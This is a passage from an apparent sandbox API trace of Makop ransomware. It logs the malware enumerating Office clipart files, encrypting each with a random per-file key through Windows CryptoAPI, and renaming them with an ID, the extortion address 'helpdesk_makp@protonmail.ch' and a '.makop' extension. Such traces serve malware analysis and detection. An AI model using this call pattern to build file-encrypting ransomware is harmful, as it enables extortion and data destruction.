lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.277] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.277] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.277] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.277] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1bf8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1bf8, lpOverlapped=0x0) returned 1 [0151.278] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1c00, dwBufLen=0x1c00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1c00) returned 1 [0151.278] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.279] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1c00, lpOverlapped=0x0) returned 1 [0151.279] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.279] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.279] SetEndOfFile (hFile=0xf0) returned 1 [0151.286] GetProcessHeap () returned 0x48a0000 [0151.286] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.286] GetProcessHeap () returned 0x48a0000 [0151.286] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.286] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.287] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00915_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00915_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.291] CloseHandle (hObject=0xf0) returned 1 [0151.292] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1270, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00916_.WMF", cAlternateFileName="")) returned 1 [0151.292] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF") returned 63 [0151.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00916_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.293] GetProcessHeap () returned 0x48a0000 [0151.293] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.293] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.293] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.294] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.294] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.294] GetProcessHeap () returned 0x48a0000 [0151.294] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.294] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.294] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.294] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.298] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.298] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.298] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.299] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.299] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.299] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.299] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.299] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.299] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1270, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1270, lpOverlapped=0x0) returned 1 [0151.301] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1270, dwBufLen=0x1270 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1270) returned 1 [0151.301] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.301] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1270, lpOverlapped=0x0) returned 1 [0151.301] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.301] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.302] SetEndOfFile (hFile=0xf0) returned 1 [0151.308] GetProcessHeap () returned 0x48a0000 [0151.308] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.308] GetProcessHeap () returned 0x48a0000 [0151.308] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.308] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.308] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00916_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00916_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.310] CloseHandle (hObject=0xf0) returned 1 [0151.310] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x25ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00917_.WMF", cAlternateFileName="")) returned 1 [0151.310] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF") returned 63 [0151.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00917_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.311] GetProcessHeap () returned 0x48a0000 [0151.311] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.311] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.311] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.312] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.316] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.316] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.316] GetProcessHeap () returned 0x48a0000 [0151.316] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.316] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.316] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.316] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.316] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.316] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.317] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.317] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.318] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.318] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.318] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.318] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.318] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x25ac, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x25ac, lpOverlapped=0x0) returned 1 [0151.320] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x25b0, dwBufLen=0x25b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x25b0) returned 1 [0151.320] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.320] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x25b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x25b0, lpOverlapped=0x0) returned 1 [0151.320] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.320] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.320] SetEndOfFile (hFile=0xf0) returned 1 [0151.327] GetProcessHeap () returned 0x48a0000 [0151.327] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.327] GetProcessHeap () returned 0x48a0000 [0151.327] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.327] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.327] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00917_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00917_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.329] CloseHandle (hObject=0xf0) returned 1 [0151.329] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00918_.WMF", cAlternateFileName="")) returned 1 [0151.329] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF") returned 63 [0151.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00918_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.331] GetProcessHeap () returned 0x48a0000 [0151.331] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.331] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.331] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.331] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.335] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.335] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.336] GetProcessHeap () returned 0x48a0000 [0151.336] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.336] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.336] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.336] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.336] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.336] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.336] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.337] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.337] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.337] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.337] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.337] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.337] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1f5c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1f5c, lpOverlapped=0x0) returned 1 [0151.339] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f60, dwBufLen=0x1f60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f60) returned 1 [0151.339] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.339] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1f60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1f60, lpOverlapped=0x0) returned 1 [0151.339] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.339] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.340] SetEndOfFile (hFile=0xf0) returned 1 [0151.345] GetProcessHeap () returned 0x48a0000 [0151.346] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.346] GetProcessHeap () returned 0x48a0000 [0151.346] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.346] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.346] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00918_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00918_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.348] CloseHandle (hObject=0xf0) returned 1 [0151.349] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2944, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00935_.WMF", cAlternateFileName="")) returned 1 [0151.349] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF") returned 63 [0151.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00935_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.352] GetProcessHeap () returned 0x48a0000 [0151.352] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.352] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.352] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.352] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0151.359] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.359] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.359] GetProcessHeap () returned 0x48a0000 [0151.359] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.359] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.359] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.359] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.359] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.359] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.367] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: 